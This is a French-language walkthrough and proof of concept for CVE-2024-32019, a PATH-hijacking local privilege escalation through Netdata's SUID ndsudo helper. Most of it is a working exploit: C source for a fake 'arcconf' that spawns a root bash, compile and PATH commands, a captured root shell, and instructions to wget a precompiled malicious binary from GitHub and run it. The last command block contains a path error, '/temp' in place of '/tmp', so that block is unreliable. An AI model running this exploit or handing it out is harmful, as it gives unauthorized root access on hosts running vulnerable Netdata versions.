
Workflow d'escalade de privilèges locaux Netdata ndsudo et POC (CVE-2024-32019)
Netdata ndsudo workflow d'escalade de privilèges locaux et POC (CVE-2024-32019)
[!TIP] Veuillez lire
Netdata est un outil de surveillance des applications et des systèmes, il tourne sur le port 19999, facile à trouver :
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
Cette vulnérabilité (CVE-2024-32019) affecte les versions suivantes : >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Nous pouvons faire une requête pour connaître la version dans l'en-tête de réponse :
L'exploitation se produit en exploitant un détournement de PATH (PATH Hijacking) d'un de leurs plugins, ndsudo, qui se trouve souvent dans /opt/netdata/usr/libexec/netdata/ et qui possède le bit SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Nous pouvons voir ce que nous pouvons faire en utilisant --help
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
Comme nous pouvons le voir, puisque le script contient plusieurs commandes parmi lesquelles choisir qui chercheront un exécutable, nous pouvons exploiter cela pour créer notre propre exécutable nommé comme l'un des exécutables dans un chemin que nous pouvons ajouter à la variable d'environnement PATH.
Netdata utilise C, par conséquent, nous devons faire notre script en C et le compiler.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Ensuite, comme discuté précédemment, nous ajoutons le chemin du script au $PATH
test@test:/tmp$ PATH=/tmp:$PATH
Enfin, nous exécutons simplement la commande qui pointe vers notre exécutable malveillant (arcconf-pd-info -> arcconf) et elle va nous donner un shell privilégié
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
Vous pouvez télécharger le script C malveillant déjà compilé qui vous donnera un bash en tant que root comme mentionné dans l'exemple ci-dessus :
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #Si votre cible a une connexion Internet
scp ./arcconf test@test:/tmp/arcconf #Si votre cible n'a pas de connexion Internet
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #Le chemin de ndsudo peut changer